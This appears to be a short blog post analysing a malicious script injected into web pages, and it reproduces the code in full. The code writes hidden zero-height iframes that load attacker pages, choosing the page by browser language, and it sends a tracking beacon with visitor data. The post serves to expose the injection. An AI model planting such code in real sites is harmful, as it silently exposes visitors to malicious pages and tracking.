www.o1o2qq.cn/ri.js

another injected script src.
The script redirects to direct URL depending on whether your browser is set to chinese language.
Content as follows:if (navigator.systemLanguage=='zh-cn')
{
document.writeln("<iframe src=http:\/\/haeine.cn\/page\/add_1566515.htm?6864 wid
th=100 height=0><\/iframe>");
}
else{
document.writeln("<iframe src=http:\/\/www.o1o2qq.cn\/reg.htm width=100 height=0
><\/iframe>");
document.writeln("<iframe src=http:\/\/www.o1o2qq.cn\/456.htm width=100 height=0
><\/iframe>");
}

window.onerror=function(){return true};
document.write (‘<script>var a5355tf=”51la”;var a5355pu=””;var a5355pf=”51la”;va
r a5355su=window.location;var a5355sf=document.referrer;var a5355of=””;var a5355
op=””;var a5355ops=1;var a5355ot=1;var a5355d=new Date();var a5355color=””;if (n
avigator.appName==”Netscape”){a5355color=screen.pixelDepth;} else {a5355color=sc
reen.colorDepth;}<\/script><script>a5355tf=top.document.referrer;<\/script><scri
pt>a5355pu =window.parent.location;<\/script><script>a5355pf=window.parent.docum
ent.referrer;<\/script><script>a5355ops=document.cookie.match(new RegExp(“(^| )A
JSTAT_ok_pages=([^;]*)(;|$)”));a5355ops=(a5355ops==null)?1: (parseInt(unescape((
a5355ops)[2]))+1);var a5355oe =new Date();a5355oe.setTime(a5355oe.getTime()+60*6
0*1000);document.cookie=”AJSTAT_ok_pages=”+a5355ops+ “;path=/;expires=”+a5355oe.
toGMTString();a5355ot=document.cookie.match(new RegExp(“(^| )AJSTAT_ok_times=([^
;]*)(;|$)”));if(a5355ot==null){a5355ot=1;}else{a5355ot=parseInt(unescape((a5355o
t)[2])); a5355ot=(a5355ops==1)?(a5355ot+1):(a5355ot);}a5355oe.setTime(a5355oe.ge
tTime()+365*24*60*60*1000);document.cookie=”AJSTAT_ok_times=”+a5355ot+”;path=/;e
xpires=”+a5355oe.toGMTString();<\/script><script>a5355of=a5355sf;if(a5355pf!==”5
1la”){a5355of=a5355pf;}if(a5355tf!==”51la”){a5355of=a5355tf;}a5355op=a5355pu;try
{lainframe}catch(e){a5355op=a5355su;}document.write(\'<img style=”width:0px;heig
ht:0px” src=”http://web.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=20&id
=2015355&tpages=\’+a5355ops+\’&ttimes=\’+a5355ot+\’&tzone=\’+(0-a5355d.getTimezo
neOffset()/60)+\’&tcolor=\’+a5355color+\’&sSize=\’+screen.width+\’,\’+screen.hei
ght+\’&referrer=\’+escape(a5355of)+\’&vpage=\’+escape(a5355op)+\'” \/>\’);<\/scr
ipt>’);

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: